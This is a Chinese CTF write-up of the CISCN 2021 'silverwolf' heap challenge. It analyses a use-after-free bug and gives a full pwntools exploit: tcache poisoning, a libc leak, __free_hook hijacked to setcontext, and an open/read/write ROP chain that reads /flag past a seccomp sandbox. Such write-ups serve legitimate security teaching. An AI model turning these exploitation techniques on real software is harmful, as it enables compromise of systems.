博客 / 詳情

返回

[CISCN 2021 初賽]silverwolf WP

一、題目來源

NSSCTF_Pwn_[CISCN 2021 初賽]silverwolf

image

二、信息蒐集

通過 file 命令查看文件類型:

image

通過 checksec 命令查看文件開啓的保護機制:

image

根據題目給的 libc 文件確定 glibc 版本是 2.27。

三、反彙編文件開始分析

程序的開頭能看到設置了沙箱:

__int64 sub_C70()
{
  __int64 v0; // rbx

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v0 = seccomp_init(0);
  seccomp_rule_add(v0, 2147418112, 0, 0);
  seccomp_rule_add(v0, 2147418112, 2, 0);
  seccomp_rule_add(v0, 2147418112, 1, 0);
  return seccomp_load(v0);
}

通過工具可以分析出這個沙箱的作用:

ORW 被 ALLOW,那麼本題的是不是和它有關呢?先打個問號。

根據輸出提示,能知道程序的四大功能(exit 就不多説了):

puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");

逐一進行分析。

1、allocate

unsigned __int64 allocate()
{
  size_t v1; // rbx
  void *v2; // rax
  size_t size; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf(&unk_1144, &size);
  if ( !size )
  {
    __printf_chk(1, "Size: ");
    __isoc99_scanf(&unk_1144, &size);
    v1 = size;
    if ( size > 0x78 )
    {
      __printf_chk(1, "Too large");
    }
    else
    {
      v2 = malloc(size);
      if ( v2 )
      {
        qword_202050 = v1;
        buf = v2;
        puts("Done!");
      }
      else
      {
        puts("allocate failed");
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

雖然讓我們指定了下標(index),但是根據代碼 if ( !size ) 我們知道:若要成功申請 chunk,那麼 index 就只能為 0。但是,這也就意味着,我們可以一直申請 chunk,只要指定 index 為 0。

三個信息點:

  • chunk 的大小是我們自己指定的,但是最大不超過 0x78size > 0x78 )。
  • 全局變量 qword_202050 會存放我們申請 chunk 的大小(不含 chunk header)。
  • 全局變量 buf 會指向 chunk 的 user data 部分。

2、edit

unsigned __int64 edit()
{
  _BYTE *v0; // rbx
  char *v1; // rbp
  __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1, (__int64)"Index: ");
  __isoc99_scanf(&unk_1144, &v3);
  if ( !v3 )
  {
    if ( buf )
    {
      __printf_chk(1, (__int64)"Content: ");
      v0 = buf;
      if ( qword_202050 )
      {
        v1 = (char *)buf + qword_202050;
        while ( 1 )
        {
          read(0, v0, 1u);
          if ( *v0 == '\n' )
            break;
          if ( ++v0 == v1 )
            return __readfsqword(0x28u) ^ v4;
        }
        *v0 = 0;
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

根據指定的下標,編輯對應 chunk 的 user data 部分。

兩個關鍵信息:

  • 能夠填入的內容的最大大小取決於全局變量 qword_202050
  • 輸入結束,若要退出循環,則需要輸入換行符(\n)作為結束字符,該換行符最終會被轉變成空字符"\0"。

3、show

unsigned __int64 show()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, (__int64)"Index: ");
  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    __printf_chk(1, (__int64)"Content: %s\n");
  return __readfsqword(0x28u) ^ v2;
}

根據輸入的下標,來輸出對應 chunk 的 user data 部分。

對於 __printf_chk,這裏單看 C 語言代碼可能有點迷糊,可以結合彙編代碼來理解:

.text:0000000000000F0D 018 48 8B 15 44 11 20 00          mov     rdx, cs:buf
.text:0000000000000F14 018 48 85 D2                      test    rdx, rdx
.text:0000000000000F17 018 74 13                         jz      short loc_F2C
.text:0000000000000F17
.text:0000000000000F19 018 48 8D 35 57 02 00 00          lea     rsi, aContentS                  ; "Content: %s\n"
.text:0000000000000F20 018 BF 01 00 00 00                mov     edi, 1
.text:0000000000000F25 018 31 C0                         xor     eax, eax
.text:0000000000000F27 018 E8 D4 FA FF FF                call    ___printf_chk

函數原型:

int __printf_chk(int flag, const char *format, ...);
  • flag:用於指定檢查的級別。通常由編譯器根據 FORTIFY_SOURCE 的設置自動傳遞。flag > 0 時,啓用更嚴格的檢查,例如限制 %n 的使用。
  • format:格式化字符串,與標準 printf 的用法一致。
  • ...:可變參數列表,與 printf 的參數一致。

從彙編代碼中可以看出,第三個參數(放在 rdx 中)沿用了之前的 mov rdx, cs:buf

因此,該函數的 C 語言代碼應該是:

__printf_chk(1,"Content: %s\n", buf);

4、delete

unsigned __int64 del()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, (__int64)"Index: ");
  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    free(buf);
  return __readfsqword(0x28u) ^ v2;
}

根據指定的下標,free 指定的 chunk。但是,free 之後並沒有進行指針置 NULL 的操作,因此存在 UAF 的風險。

四、思路

本題有個特點,就是你還未進行任何操作的時候,程序就已經申請了很多的 chunk 了:image

目前來看並沒有可以利用的信息。

本題的思路就是:

  1. 通過 UAF 泄露堆基址;
  2. 通過 UAF 修改 Tcache bin 中的 chunk 的 fd 指針為 Tcache 管理塊;(本 Glibc 版本還沒有出現 Safe-Linking 機制)
  3. 將 Tcache 管理塊 allocate 出來,偽造其中的 count 指針,來欺騙堆管理器(你的 bin 滿了);
  4. free chunk 使之進入 Unsorted bin;
  5. 泄露 libc 基址;
  6. 因為,有沙箱的存在,因此,打 ORW。(方法:__free_hook 劫持 + setcontext pivot

五、Poc

1、四大功能的實現

def allocate(p,size,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'1')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Size: ',str(size).encode())
    
def edit(p,content,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'2')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Content: ',content)

def show(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'3')
    p.sendlineafter(b'Index: ',index)

def delete(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'4')
    p.sendlineafter(b'Index: ',index)

index 等於 0 的時候,這四個功能才有效果,因此可以設置成默認值。

2、泄露堆基址

申請一個 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指針的值 $\to$ 通過該值與堆基址的偏移量,得到堆基址。

假設,我們的目標是申請一個 chunk size 為 0x20 的 chunk。

通過動態調試,查看 bin 列表情況:image

根據 Tcache bin 的插入採用頭插法和 Tcache bin 採用 LIFO 機制,我們首次申請會得到該鏈表的表頭即上方紅箭頭指向的那個。

那麼,free 之後,對應的鏈表應該還是老樣子,其對應的 fd 指向的就是 0x59313a274790

現在,我們應該明白,為什麼題目一開始要準備那麼多的 chunk 了吧?

原因就是,在 allocate 操作之後,我們的 free 操作有且僅能有一次。那麼,如果一開始 bins 乾淨,那麼你經過上述操作之後,由於不存在 Safe-Linking 機制,你會得到 你申請的 chunk -> 0 這樣的結果。這你就實現不了堆基址的泄露了。

本部分的 Poc:

allocate(p,0x10)
delete(p)
show(p)

p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_base = (leak >> 12 << 12) - 0x1000
success("heap_base: " + hex(heap_base))

3、劫持 Tcahce 管理塊 + 泄露 libc 基址

我們的目的就是,通過劫持 Tcache 管理塊,欺騙堆管理器説“size 為 0x250”的 Tcache bin 已經滿了,然後再 free 一個 0x250 size 大小的 chunk 就可以成功讓其進入 Unsorted bin,最後就可以照常泄露 libc 基址了。

先將管理塊申請出來:

padding = 0x23
allocate(p,0x70)
delete(p)
edit(p,p64(heap_base+0x10)) # 注:Tcache 的 fd 指針指向的是 user data 部分,因此加上了 0x10。

allocate(p,0x70)
allocate(p,0x70) # 申請到 size 大小為 0x250 的 Tcache 管理塊。

偽造:

payload = b'\x00'*padding + b'\x07'
edit(p,payload)
delete(p)
show(p)

關於 count 數組指針 index 的計算方式(Glibc-2.27):
$$
\text{Index} = \frac{\text{Chunk_Size} - \text{0x20}}{\text{0x10}}
$$

為什麼我們的目標是 0x250 呢?

因為,Tcache 管理塊的大小剛好就是 0x250,而且我們已經申請到了,直接 free 即可讓其進入 Unsorted bin。

如果你已其他的大小為目標,那麼你還得進行一次 allocate 操作,但是你的這個行為同樣也會使得 count --,一來一回等於啥都沒實現。

後面就是基本的泄露步驟了:

p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
libc_base = leak - offset - libc.symbols['main_arena'] 
success("libc_base: " + hex(libc_base))

4、找 ROP

free_hook = libc_base + libc.symbols["__free_hook"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]
setcontext = libc_base + libc.symbols['setcontext'] + 53
pop_rdi = libc_base + 0x215bf
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x01b96
pop_rax = libc_base + 0x43ae8
syscall = libc_base + 0xE5965
ret = libc_base + 0x8aa
flag_addr = heap_base + 0x1000
stack_pivot = heap_base + 0x2000
stack_rop = heap_base + 0x20a0
orw_addr1 = heap_base + 0x3000
orw_addr2 = heap_base + 0x3040

orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + \
        p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + \
        p64(syscall)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x3000) + \
        p64(pop_rdx) + p64(0x30) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)

5、刷新一下 Tcache 管理塊

payload = b'\x01'*(64)
payload += p64(free_hook) # 0x20
payload += p64(flag_addr) # 0x30
payload += p64(stack_pivot) # 0x40
payload += p64(stack_rop) # 0x50
payload += p64(orw_addr1) # 0x60
payload += p64(orw_addr2) # 0x70
edit(p,payload)

Tcache bin 的頭指針指向的 chunk 就是首先會被我們分配到的 chunk,據此可以進行一些指定。

之後,我們申請指定大小的 chunk,就會出來指定地址的 chunk。

注意,我們只有一次修改的機會(因為後續 allocate 操作會刷新 buf 指針,因而失去對其的控制),而且還要知道我們的申請大小有限。

6、__free_hook 劫持 + setcontext pivot

都是比較模板的操作。

首先,劫持 __free_hooksetcontext + 53 的位置:

allocate(p,0x10)
edit(p,p64(setcontext))

其中 setcontext + 53 對應的彙編代碼我們可以通過 IDA 反彙編 libc 文件後找到:

.text:00000000000521B5 000 48 8B A7 A0 00 00 00          mov     rsp, [rdi+0A0h]
.text:00000000000521BC -08 48 8B 9F 80 00 00 00          mov     rbx, [rdi+80h]
.text:00000000000521C3 -08 48 8B 6F 78                   mov     rbp, [rdi+78h]
.text:00000000000521C7 -08 4C 8B 67 48                   mov     r12, [rdi+48h]
.text:00000000000521CB -08 4C 8B 6F 50                   mov     r13, [rdi+50h]
.text:00000000000521CF -08 4C 8B 77 58                   mov     r14, [rdi+58h]
.text:00000000000521D3 -08 4C 8B 7F 60                   mov     r15, [rdi+60h]
.text:00000000000521D7 -08 48 8B 8F A8 00 00 00          mov     rcx, [rdi+0A8h]
.text:00000000000521DE -08 51                            push    rcx
.text:00000000000521DF 000 48 8B 77 70                   mov     rsi, [rdi+70h]
.text:00000000000521E3 000 48 8B 97 88 00 00 00          mov     rdx, [rdi+88h]
.text:00000000000521EA 000 48 8B 8F 98 00 00 00          mov     rcx, [rdi+98h]
.text:00000000000521F1 000 4C 8B 47 28                   mov     r8, [rdi+28h]
.text:00000000000521F5 000 4C 8B 4F 30                   mov     r9, [rdi+30h]
.text:00000000000521F9 000 48 8B 7F 68                   mov     rdi, [rdi+68h]
.text:00000000000521F9                                   ; } // starts at 52180
.text:00000000000521FD                                   ; __unwind {
.text:00000000000521FD 000 31 C0                         xor     eax, eax
.text:00000000000521FF 000 C3                            retn

精髓就在於 mov rsp, [rdi+0A0h],控制了 rsp 指針,我們就相當於實現了 stack pivot,而且由於 rdi 指針受控,rdi 指向的地址受控(可以用來寫 ROP),通過最後的 ret 指令,我們就實現了“棧遷移 $\to$ ROP 觸發”。

而且巧妙的是,setcontext + 53 後面的代碼,並不會都影響到我們的 ROP,因為 ret 在最後,ROP 是最後觸發的,因此會覆蓋一些雜亂的數據。

但是,唯一需要注意的就是:

.text:00000000000521B5 000 48 8B A7 A0 00 00 00          mov     rsp, [rdi+0A0h]
……
……
.text:00000000000521D7 -08 48 8B 8F A8 00 00 00          mov     rcx, [rdi+0A8h]
.text:00000000000521DE -08 51                            push    rcx

由於我們已經修改了棧頂指針,那麼這裏的 push 操作就不得不重視,經過 push 操作之後,棧頂中的內容變成了 [rdi+0A8h],如果其中沒有精心構造數據,我們的 ROP 從一開始就夭折了。

但好在,巧就巧在這個位置 [rdi+0A8h] 就在我們存放 ROP 地址( [rdi+0A0h])的後面,我們可以順帶改造一番,通常的做法是將其改為 ret 指令的位置。

接下來,由於 open 函數需要的是地址參數,因此,我們要找個地方寫入文件名:

allocate(p,0x20)
edit(p,b'/flag\x00\x00\x00')

本地測試的時候記得在根目錄備一個 flag 文件。

接下來就是找個地方放 ROP:

allocate(p,0x50)
edit(p,orw[:0x40])
allocate(p,0x60)
edit(p,orw[0x40:])

ROP 比較長,分兩個 chunk 進行存放。

隨着,將 ROP 的地址綁定到觸發位置(偏移 0xa0):

allocate(p,0x40)
edit(p,p64(orw_addr1)+p64(ret))

這裏的 +p64(ret) 就完美解決了之前分析過的 [rdi+0A8h] 的問題。

設定 rdi 並觸發劫持:

allocate(p,0x30)
delete(p)

此時就會自動執行我們佈置好的 ROP,實現 ORW:

image-20251128212403210

7、完整 Poc

from pwn import *

exe = ELF("./silverwolf_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe

context(arch="amd64",os="linux",log_level="debug")


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("node4.anna.nssctf.cn",28726)

    return r

'''
    puts("1. allocate");
    puts("2. edit");
    puts("3. show");
    puts("4. delete");
    puts("5. exit");
'''

def allocate(p,size,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'1')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Size: ',str(size).encode())
    
def edit(p,content,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'2')
    p.sendlineafter(b'Index: ',index)
    p.sendlineafter(b'Content: ',content)

def show(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'3')
    p.sendlineafter(b'Index: ',index)

def delete(p,index=b'0'):
    p.sendlineafter(b'Your choice: ',b'4')
    p.sendlineafter(b'Index: ',index)

def main():
    p = conn()

    allocate(p,0x10)
    delete(p)
    show(p)
    
    p.recvuntil(b'Content: ')
    leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
    heap_base = (leak >> 12 << 12) - 0x1000
    success("heap_base: " + hex(heap_base))
    
    padding = 0x23
    allocate(p,0x70)
    delete(p)
    edit(p,p64(heap_base+0x10))

    allocate(p,0x70)
    allocate(p,0x70)

    payload = b'\x00'*padding + b'\x07'
    edit(p,payload)
    delete(p)
    show(p)
    
    p.recvuntil(b'Content: ')
    leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
    offset = 96
    libc_base = leak - offset - libc.symbols['main_arena'] 
    success("libc_base: " + hex(libc_base))

    free_hook = libc_base + libc.symbols["__free_hook"]
    read_addr = libc_base + libc.symbols["read"]
    write_addr = libc_base + libc.symbols["write"]
    setcontext = libc_base + libc.symbols['setcontext'] + 53
    pop_rdi = libc_base + 0x215bf
    pop_rsi = libc_base + 0x23eea
    pop_rdx = libc_base + 0x01b96
    pop_rax = libc_base + 0x43ae8
    syscall = libc_base + 0xE5965
    ret = libc_base + 0x8aa
    flag_addr = heap_base + 0x1000
    stack_pivot = heap_base + 0x2000
    stack_rop = heap_base + 0x20a0
    orw_addr1 = heap_base + 0x3000
    orw_addr2 = heap_base + 0x3040

    orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + \
            p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + \
            p64(syscall)
    orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x3000) + \
            p64(pop_rdx) + p64(0x30) + p64(read_addr)
    orw += p64(pop_rdi) + p64(1) + p64(write_addr)
    
    success("orw_length: " + hex(len(orw)))

    payload = b'\x01'*(64)
    payload += p64(free_hook) # 0x20
    payload += p64(flag_addr) # 0x30
    payload += p64(stack_pivot) # 0x40
    payload += p64(stack_rop) # 0x50
    payload += p64(orw_addr1) # 0x60
    payload += p64(orw_addr2) # 0x70
    edit(p,payload)

    allocate(p,0x10)
    edit(p,p64(setcontext))

    allocate(p,0x20)
    edit(p,b'/flag\x00\x00\x00')

    allocate(p,0x50)
    edit(p,orw[:0x40])
    allocate(p,0x60)
    edit(p,orw[0x40:])

    allocate(p,0x40)
    edit(p,p64(orw_addr1)+p64(ret))
    allocate(p,0x30)
    delete(p)
    
    p.interactive()

if __name__ == "__main__":
    main()
user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.